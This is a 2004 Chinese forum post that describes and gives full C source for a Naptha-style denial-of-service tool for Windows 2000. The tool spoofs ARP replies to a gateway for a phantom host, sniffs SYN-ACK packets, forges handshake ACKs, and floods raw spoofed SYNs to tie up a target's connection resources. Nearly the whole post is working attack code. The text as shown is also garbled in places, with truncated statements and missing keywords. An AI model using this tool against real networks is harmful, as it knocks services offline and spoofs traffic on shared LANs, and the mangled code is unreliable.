NAPTHA攻击方式在2K下的简单实现

作者：LionD8

EMAIL：liond8@eyou.com

出处:https://www.xfocus.net/bbs/index.php?act=SE&f=3&t=33339&p=117598

我的窝:http://liond8.126.com

2004.2.16

凌晨

简单原理:

1.欺骗网关，让网关知道幻影主机的MAC.

2.嗅探局域网中的所有数据包，判断是不是返回给虚幻主机的

第2次握手的数据包。如果是，就伪造第3次握手.

3.发送伪造的SYN报文.

通过消耗对方的维护连接的资源进行DOS。占用通道等。

详细原理请见Warning3老大整理的

《新型网络DoS(拒绝服务)攻击漏洞 - "Naptha"》

我就不废话了。

地址: http://www.nsfocus.net/index.php?act=magazine&do=view&mid=721

///////////////////////////////////////////////////

//以下代码在2K

VC6.0下编译通过

//在虚拟机上测试，好像2k系统如《新型网络DoS(拒绝服务)攻击漏洞 -

"Naptha"》

//所说，不受什么影响.

///////////////////////////////////////////////////

#include

"stdio.h"

#include "Packet32.h"

#include "windows.h"

#include

<ws2tcpip.h>

#include "winsock2.h"

#include

"wchar.h"

#define EPT_IP 0x0800

#define EPT_ARP 0x0806

#define ARP_HARDWARE 0x0001

#define ARP_REQUEST 0x0001

#define ARP_REPLY 0x0002

#define

NDIS_PACKET_TYPE_PROMISCUOUS 0x0020 //混杂模式

#pragma comment(lib,

"packet.lib")

#pragma comment(lib, "ws2_32.lib")

#pragma pack(push,

typedef struct ehhdr

{

UCHAR eh_dst[6];

UCHAR eh_src[6];

USHORT eh_type;

}EHHEADR,

*PEHHEADR;

typedef struct arphdr

{

USHORT arp_hrd;

USHORT arp_pro;

UCHAR arp_hln;

UCHAR arp_pln;

USHORT arp_op;

UCHAR arp_sha[6];

ULONG arp_spa;

UCHAR

arp_tha[6];

ULONG arp_tpa;

}ARPHEADR,

*PARPHEADR;

typedef struct

arpPacket

{

EHHEADR ehhdr;

ARPHEADR arphdr;

}

ARPPACKET, *PARPPACKET;

#pragma pack(pop)

typedef struct

ip_head

{

unsigned char h_verlen;

unsigned char

tos;

unsigned short total_len;

unsigned short

ident;

unsigned short frag_and_flags;

unsigned char ttl;

unsigned char proto;

unsigned short checksum;

unsigned int

sourceIP;

unsigned int destIP;

}IPHEADER;

typedef

struct tcp_head

{

USHORT th_sport;

USHORT th_dport;

unsigned int th_seq;

unsigned int th_ack;

unsigned

char th_lenres;

unsigned char th_flag;

USHORT

th_win;

USHORT th_sum;

USHORT th_urp;

}TCPHEADER;

typedef struct tsd_hdr

{

unsigned long saddr;

unsigned long daddr;

char mbz;

char ptcl;

unsigned short

tcpl;

}PSDHEADER;

DWORD WINAPI ThreadArpSnoop(LPVOID

lp);

USHORT checksum(USHORT *buffer, int

size);

DWORD WINAPI ThreadSynFlood(LPVOID

lp);

DWORD WINAPI SnifferSynAck(LPVOID lp);

void SendAck (

DWORD SEQ , DWORD ACK

,USHORT SPort);

void AnalyseData (LPPACKET

lpPacket);

#define ATPORT 80 //攻击端口

#define ATIP "192.168.1.1" //攻击IP

#define GATE "192.168.85.1" //网关

#define SNOOPIP "192.168.85.250" //幻影主机IP

#define SLEEPTIME 1000

UCHAR DMacAddr[6]={0xFF,0xFF,0xFF,0xFF,0xFF,0xFF};

//广播

UCHAR SMacAddr[6]={0xFF,0xFF,0xFF,0xFF,0xFF,0xFE};

//幻影主机MAC

BOOL IsGoOn = TRUE;

void main()

{

IsGoOn

FALSE;

CreateThread(NULL,NULL,ThreadArpSnoop,NULL,NULL,NULL);

while

( !IsGoOn )

Sleep(1);

IsGoOn =

FALSE;

CreateThread(NULL,NULL,SnifferSynAck,NULL,NULL,NULL);

while

( !IsGoOn

)

Sleep(1);

CreateThread(NULL,NULL,ThreadSynFlood,NULL,NULL,NULL);

while

(1)

Sleep(1000000);

}

DWORD WINAPI ThreadArpSnoop(LPVOID

lp)

{

static CHAR AdapterList[10][1024];

TCHAR

szPacketBuf[512];

LPADAPTER lpAdapter;

LPPACKET

lpPacket;

WCHAR AdapterName[2048];

WCHAR *temp,*temp1;

ARPPACKET ARPPacket;

ULONG

AdapterLength = 1024;

DWORD AdapterNum = 0;

DWORD

nRetCode, i;

if(PacketGetAdapterNames((char*)AdapterName,

&AdapterLength) == FALSE)

{

printf("Unable to retrieve the

list of the adapters!\n");

return 0;

}

temp =

AdapterName;

temp1=AdapterName;

i = 0;

while ((*temp !=

'\0')||(*(temp-1) != '\0'))

{

if (*temp ==

'\0')

{

memcpy(AdapterList[i],temp1,(temp-temp1)*sizeof(WCHAR));

temp1=temp+1;

i++;

}

temp++;

}

AdapterNum

= i;

for (i = 0; i < AdapterNum; i++)

wprintf(L"\n%d- %s\n",

i+1, AdapterList[i]);

printf("\nPlease select adapter

number:");

scanf("%d",&i);

if(i>AdapterNum)

{

printf("\nInput

Number error!");

return 0;

}

IsGoOn =

TRUE;

lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR)

AdapterList[i-1]);

if (!lpAdapter || (lpAdapter->hFile ==

INVALID_HANDLE_VALUE))

{

nRetCode =

GetLastError();

printf("Unable to open the driver, Error Code :

%lx\n", nRetCode);

return 0;

}

lpPacket =

PacketAllocatePacket();

if(lpPacket ==

NULL)

{

printf("\nError:failed to allocate the LPPACKET

structure.");

return 0;

}

memset(szPacketBuf, 0,

sizeof(szPacketBuf));

memcpy(ARPPacket.ehhdr.eh_dst, DMacAddr,

6);

memcpy(ARPPacket.ehhdr.eh_src, SMacAddr, 6);

ARPPacket.ehhdr.eh_type =

htons(EPT_ARP);

ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);

ARPPacket.arphdr.arp_pro =

htons(EPT_IP);

ARPPacket.arphdr.arp_hln =

ARPPacket.arphdr.arp_pln =

ARPPacket.arphdr.arp_op =

htons(1);

memcpy(ARPPacket.arphdr.arp_sha, SMacAddr,

6);

ARPPacket.arphdr.arp_spa =

inet_addr(SNOOPIP);

memset(ARPPacket.arphdr.arp_tha,0,6);

ARPPacket.arphdr.arp_tpa

= inet_addr(GATE);

memcpy(szPacketBuf, (char*)&ARPPacket,

sizeof(ARPPacket));

PacketInitPacket(lpPacket, szPacketBuf,

60);

if(PacketSetNumWrites(lpAdapter,

1)==FALSE)

{

printf("warning: Unable to send more than one

packet in a single write!\n");

}

while ( 1

)

{

if(PacketSendPacket(lpAdapter, lpPacket,

TRUE)==FALSE)

{

printf("Error sending the

packets!\n");

return

}

Sleep(30000);

}

PacketFreePacket(lpPacket);

PacketCloseAdapter(lpAdapter);

return

}

DWORD WINAPI ThreadSynFlood(LPVOID lp)

{

WSADATA

WSAData;

SOCKET sock;

SOCKADDR_IN addr_in;

IPHEADER

ipHeader;

TCPHEADER tcpHeader;

PSDHEADER psdHeader;

int

SourcePort;

char szSendBuf[60]={0};

BOOL flag;

int

rect,nTimeOver;

if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)

{

printf("WSAStartup Error!\n");

return

}

sock=NULL;

((sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)

{

printf("Socket

Setup Error!\n");

return 0;

}

flag=true;

(setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char

*)&flag,sizeof(flag))==SOCKET_ERROR)

{

printf("setsockopt IP_HDRINCL error!\n");

return false;

}

nTimeOver=1000;

if (setsockopt(sock, SOL_SOCKET,

SO_SNDTIMEO, (char*)&nTimeOver,

sizeof(nTimeOver))==SOCKET_ERROR) //设置发送的时间

{

printf("setsockopt SO_SNDTIMEO error!\n");

return false;

}

addr_in.sin_family=AF_INET;

addr_in.sin_port=htons(ATPORT);

addr_in.sin_addr.S_un.S_addr=inet_addr(ATIP);

ipHeader.h_verlen=(4<<4

| sizeof(ipHeader)/sizeof(unsigned

long));

ipHeader.tos=0;

ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));

//IP总长度

ipHeader.ident=1;

ipHeader.frag_and_flags=0;

ipHeader.ttl=123;

ipHeader.proto=IPPROTO_TCP;

ipHeader.checksum=0;

ipHeader.destIP=inet_addr(ATIP);

tcpHeader.th_dport=htons(ATPORT);

tcpHeader.th_ack=0;

tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);

tcpHeader.th_flag=2;

tcpHeader.th_win=htons(512);

tcpHeader.th_urp=0;

tcpHeader.th_seq=htonl(0x12345678);

psdHeader.daddr=ipHeader.destIP;

psdHeader.mbz=0;

psdHeader.ptcl=IPPROTO_TCP;

psdHeader.tcpl=htons(sizeof(tcpHeader));

ipHeader.sourceIP=inet_addr(SNOOPIP);

while(TRUE)

{

SourcePort=GetTickCount()%65534;

tcpHeader.th_sport=htons(SourcePort);

tcpHeader.th_sum=0;

psdHeader.saddr=ipHeader.sourceIP;

memcpy(szSendBuf,

&psdHeader, sizeof(psdHeader));

memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader,

sizeof(tcpHeader));

tcpHeader.th_sum=checksum((USHORT

*)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));

memcpy(szSendBuf, &ipHeader,

sizeof(ipHeader));

memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader,

sizeof(tcpHeader));

rect=sendto(sock, szSendBuf,

sizeof(ipHeader)+sizeof(tcpHeader), 0, (struct sockaddr*)&addr_in,

sizeof(addr_in));

if (rect==SOCKET_ERROR)

{

printf("send

error!:%x\n",WSAGetLastError());

return

false;

}

else printf("send

ok!\n");

Sleep(SLEEPTIME);

}//endwhile

closesocket(sock);

WSACleanup();

return

}

USHORT checksum(USHORT *buffer, int size)

{

unsigned

long cksum=0;

while(size >1)

{

cksum+=*buffer++;

size -=sizeof(USHORT);

}

if(size)

{

cksum += *(UCHAR*)buffer;

}

cksum = (cksum >> 16) + (cksum & 0xffff);

cksum +=

(cksum >>16);

return

(USHORT)(~cksum);

}

DWORD WINAPI SnifferSynAck(LPVOID

lp)

{

LPADAPTER lpAdapter;

static CHAR

AdapterList[10][1024];

ULONG AdapterNum;

WCHAR

AdapterName[2048];

WCHAR

*temp,*temp1;

ULONG AdapterLength=1024;

ULONG i,adapter_num=0;

if(PacketGetAdapterNames((char*)AdapterName,

&AdapterLength) == FALSE)

{

printf("Unable to retrieve the

list of the adapters!\n");

return 0;

}

temp =

AdapterName;

temp1=AdapterName;

i = 0;

while ((*temp !=

'\0')||(*(temp-1) != '\0'))

{

if (*temp ==

'\0')

{

memcpy(AdapterList[i],temp1,(temp-temp1)*sizeof(WCHAR));

temp1=temp+1;

i++;

}

temp++;

}

AdapterNum

= i;

for (i = 0; i < AdapterNum; i++)

wprintf(L"\n%d- %s\n",

i+1, AdapterList[i]);

printf("\nPlease select adapter

number:");

scanf("%d",&i);

if(i>AdapterNum)

{

printf("\nInput

Number error!");

return 0;

}

IsGoOn =

TRUE;

lpAdapter=(LPADAPTER)PacketOpenAdapter((LPTSTR)AdapterList[i-1]);

(!lpAdapter||(lpAdapter->hFile==INVALID_HANDLE_VALUE))

{

printf("Unable

to open the driver, Error Code : %lx\n", GetLastError());

return

}

//设置网卡为混杂模式

if(PacketSetHwFilter(lpAdapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE)

{

printf("Warning:

Unable to set the adapter to promiscuous

mode\n");

}

if(PacketSetBuff(lpAdapter,1024*10)==FALSE)

{

printf("PacketSetBuff

Error: %d\n",GetLastError());

return -1;

}

while (

1 )

{

TCHAR Buffer[1024*10]={0};

LPPACKET

lpPacket;

lpPacket=PacketAllocatePacket();

PacketInitPacket(lpPacket,Buffer,sizeof(Buffer));

PacketReceivePacket(lpAdapter,lpPacket,TRUE);

AnalyseData(

lpPacket );

PacketFreePacket(lpPacket);

}

return

}

void AnalyseData (LPPACKET lpPacket)

{

char

*Buf;

EHHEADR *lpEthdr;

bpf_hdr *lpBpfhdr;

Buf=(char

*)lpPacket->Buffer;

lpBpfhdr=(bpf_hdr *)Buf;

lpEthdr=(EHHEADR

*)(Buf+lpBpfhdr->bh_hdrlen);

if(lpEthdr->eh_type==htons(0x0800)

&& (!memcmp(lpEthdr->eh_dst,SMacAddr,6))

)

{

TCPHEADER *lpTcphdr;

lpTcphdr=(TCPHEADER

*)(Buf+lpBpfhdr->bh_hdrlen+sizeof(EHHEADR)+sizeof(IPHEADER));

( lpTcphdr->th_ack == ntohl(0x12345678+1) && lpTcphdr->th_flag ==

0x12)

{

SendAck(lpTcphdr->th_seq,lpTcphdr->th_ack,lpTcphdr->th_dport);

}

void SendAck

( DWORD SEQ , DWORD ACK ,USHORT SPort)

{

SOCKET sock;

SOCKADDR_IN addr_in;

IPHEADER ipHeader;

TCPHEADER

tcpHeader;

PSDHEADER psdHeader;

char

szSendBuf[60]={0};

BOOL flag;

int

rect,nTimeOver;

sock=NULL;

((sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)

{

printf("Socket

Setup Error!\n");

return ;

}

flag=true;

(setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char

*)&flag,sizeof(flag))==SOCKET_ERROR)

{

printf("setsockopt IP_HDRINCL error!\n");

return ;

}

nTimeOver=1000;

if (setsockopt(sock, SOL_SOCKET,

SO_SNDTIMEO, (char*)&nTimeOver,

sizeof(nTimeOver))==SOCKET_ERROR) //设置发送的时间

{

printf("setsockopt SO_SNDTIMEO error!\n");

return ;

}

addr_in.sin_family=AF_INET;

addr_in.sin_port=htons(ATPORT);

addr_in.sin_addr.S_un.S_addr=inet_addr(ATIP);

ipHeader.h_verlen=(4<<4

| sizeof(ipHeader)/sizeof(unsigned

long));

ipHeader.tos=0;

ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));

//IP总长度

ipHeader.ident=1;

ipHeader.frag_and_flags=0;

ipHeader.ttl=123;

ipHeader.proto=IPPROTO_TCP;

ipHeader.checksum=0;

ipHeader.destIP=inet_addr(ATIP);

tcpHeader.th_dport=htons(ATPORT);

tcpHeader.th_ack=htonl((ntohl(SEQ)+1));

tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);

tcpHeader.th_flag=0x10;

// ack

tcpHeader.th_win=htons(512);

tcpHeader.th_urp=0;

tcpHeader.th_seq=ACK;

psdHeader.daddr=ipHeader.destIP;

psdHeader.mbz=0;

psdHeader.ptcl=IPPROTO_TCP;

psdHeader.tcpl=htons(sizeof(tcpHeader));

ipHeader.sourceIP=inet_addr(SNOOPIP);

tcpHeader.th_sport=SPort;

tcpHeader.th_sum=0;

psdHeader.saddr=ipHeader.sourceIP;

memcpy(szSendBuf,

&psdHeader, sizeof(psdHeader));

memcpy(szSendBuf+sizeof(psdHeader),

&tcpHeader, sizeof(tcpHeader));

tcpHeader.th_sum=checksum((USHORT

*)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));

memcpy(szSendBuf,

&ipHeader, sizeof(ipHeader));

memcpy(szSendBuf+sizeof(ipHeader),

&tcpHeader, sizeof(tcpHeader));

rect=sendto(sock, szSendBuf,

sizeof(ipHeader)+sizeof(tcpHeader), 0, (struct sockaddr*)&addr_in,

sizeof(addr_in));

if (rect==SOCKET_ERROR)

{

printf("send error!:%x\n",WSAGetLastError());

return

;

}

else printf("send

ok!\n");

closesocket(sock);

}

//参考文献: 《新型网络DoS(拒绝服务)攻击漏洞 -

"Naptha"》

http://www.nsfocus.net/index.php?act=magazine&do=view&mid=721